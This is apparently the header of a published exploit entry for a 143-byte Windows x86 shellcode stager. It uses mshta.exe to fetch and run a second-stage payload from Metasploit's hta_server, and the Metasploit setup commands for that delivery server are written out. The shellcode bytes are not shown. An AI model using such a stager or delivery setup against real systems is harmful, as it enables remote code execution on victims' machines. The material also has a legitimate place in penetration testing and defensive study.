# Exploit Title: Windows/x86 - Stager Generic MSHTA Shellcode (143 bytes)
# Exploit Author: Armando Huesca Prida
# Date: 11-01-2021
# Tested on: Windows 7 Professional 6.1.7601 SP1 Build 7601 (x86)
# Windows Vista Ultimate 6.0.6002 SP2 Build 6002 (x86)
# Windows Server 2003 Enterprise Edition 5.2.3790 SP1 Build 3790 (x86)
## Description: Windows x86 Shellcode that uses mshta.exe binary to execute a second stage payload delivered through metasploit's hta_server exploit. This shellcode uses JMP/CALL/POP technic and static kernel32.dll functions addresses.

# "hta_server" exploit payloads setting example:
# msf6 > use exploit/windows/misc/hta_server (exploit for second stage payload delivery)
# msf6 exploit(windows/misc/hta_server) > set payload windows/exec (a payload from the previously specified list)
# msf6 exploit(windows/misc/hta_server) > set uripath 2NWyfQ9T.hta (a static value for URIPATH)
# msf6 exploit(windows/misc/hta_server) > set CMD calc.exe (command to be executed ex: calc.exe binary)
# msf6 exploit(windows/misc/hta_server) > run (second stage delivery server execution)
